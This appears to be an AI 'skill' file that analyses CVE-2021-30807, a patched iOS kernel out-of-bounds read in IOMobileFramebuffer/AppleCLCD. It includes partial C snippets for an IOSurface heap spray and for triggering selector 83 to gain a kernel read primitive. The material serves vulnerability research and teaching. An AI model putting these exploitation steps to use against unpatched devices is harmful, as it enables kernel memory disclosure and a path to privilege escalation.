CVE-2021-30807: IOMobileFramebuffer OOB Analysis
A skill for understanding and analyzing CVE-2021-30807, an out-of-bounds read vulnerability in iOS kernel's IOMobileFramebuffer/AppleCLCD that enables arbitrary kernel reads.
Vulnerability Overview
Affected Versions:
- iOS/iPadOS < 14.7.1
- macOS Big Sur < 11.5.1
- watchOS < 7.6.1
Vulnerability Type: Out-of-bounds pointer read + type confusion
Impact: Arbitrary kernel read primitive (can lead to LPE with additional techniques)
Entitlement Required: com.apple.private.allow-explicit-graphics-priority (available to WebKit.WebContent)
The Bug Mechanics
Vulnerable Code Path
Userland → IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
→ IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)
→ ptr = *(this + 0xA58 + scalar0 * 8) // OOB READ
→ IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
Key Details
User-controlled index:
scalar0is a 32-bit value passed from userland with no bounds checkingOOB pointer fetch: The kernel reads from
this + 0xA58 + index*8whereindex = scalar0Type confusion: The fetched pointer is cast to
IOSurface*and passed to IOSurface codeResult:
- If pointer is invalid → kernel panic (DoS)
- If pointer is valid IOSurface → returns Mach port name (arbitrary read primitive)
Exploitation Flow
Step 1: Open the User Client
// Find AppleCLCD service in IORegistry
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
// Open user client type 2 (exposes selector 83)
IOServiceOpen(service, mach_task_self(), 2, &user_client_conn);
Why type 2? This user client variant exposes the external methods table containing selector 83.
Step 2: Heap Spray with IOSurfaces
The spray populates kernel heap with valid IOSurface objects so the OOB read hits something legitimate:
// Create many IOSurfaces
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);
// Spray small values to fill kalloc regions
IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, data, sizeof(data), NULL);
}
Goal: When selector 83 reads past the legitimate array, it likely hits a pointer to one of your sprayed IOSurfaces.
Step 3: Trigger the OOB Read
// Convert byte offset to pointer slot index (8 bytes per slot on 64-bit)
uint64_t scalars[1] = { offset / 8 };
// Call selector 83
IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
// Returns Mach port name (u32 handle) to the IOSurface at OOB slot
The offset/8 trick: The kernel computes base + index*8, so you specify slot number, not byte offset.
Step 4: Use the Returned Port
The call returns a Mach port name (not a raw address). You can then:
s_lookup_surface_from_port(method 34) → convert port to surface IDs_create_port_from_surface(method 35) → inverse operation
Key Technical Concepts
Why IOSurface?
IOSurface is a classic kernel spray primitive because:
- Well-documented allocation patterns
- Predictable kalloc bucket sizes
- Many methods for creating/manipulating surfaces
- Accessible from sandboxed processes (WebKit.WebContent)
The Type Confusion
The vulnerability doesn't just read OOB—it misinterprets what it reads:
- Reads arbitrary pointer from kernel memory
- Casts it to
IOSurface* - Passes it to
IOSurfaceRoot::copyPortNameForSurfaceInTask() - If the pointer happens to be a valid IOSurface, the call succeeds
- Returns a legitimate Mach port to that IOSurface
This is more powerful than a simple OOB read because it gives you a handle to kernel memory.
Entitlement Bypass
The vulnerable method requires com.apple.private.allow-explicit-graphics-priority, but:
- WebKit.WebContent has this entitlement
- WebKit runs in a sandbox but can still trigger the vulnerability
- This makes the vulnerability exploitable from web context
Analysis Checklist
When analyzing this CVE or similar vulnerabilities:
- Identify the user-controlled parameter (scalar0)
- Trace the code path to find where it's used as an index
- Check for bounds validation (there isn't any here)
- Determine what the OOB read returns (pointer, not data)
- Understand how the returned value is used (type confusion)
- Identify available spray primitives (IOSurface)
- Map the entitlement requirements
- Determine exploitation context (WebKit.WebContent)
References
- Original writeup by Saar Amar
- Exploit PoC code
- Research from jsherman212
- Apple Security Advisory
- NVD CVE Entry
Related Vulnerabilities
This vulnerability is part of a pattern of IOMobileFramebuffer exploits:
- Similar OOB read primitives in other selectors
- Heap spraying with IOSurface is a common iOS kernel exploitation technique
- User client external methods are a frequent attack surface
Research Notes
For security researchers studying this CVE:
Understand the primitive: This is an arbitrary read, not arbitrary write. LPE requires additional techniques.
Study the spray: The IOSurface spray is critical—without it, the OOB read hits garbage and causes DoS.
Port names matter: The return value is a Mach port, not an address. This affects how you use the primitive.
Context is key: The entitlement requirement limits exploitation to WebKit.WebContent context.
Patch analysis: Compare vulnerable vs. patched code to understand the fix (bounds checking added).
Use this skill when:
- Analyzing CVE-2021-30807 specifically
- Studying iOS kernel user client vulnerabilities
- Understanding IOSurface heap spraying
- Researching selector 83 exploitation
- Learning about OOB read + type confusion primitives
- Analyzing the Saar Amar PoC code
- Preparing for iOS security research or CTF challenges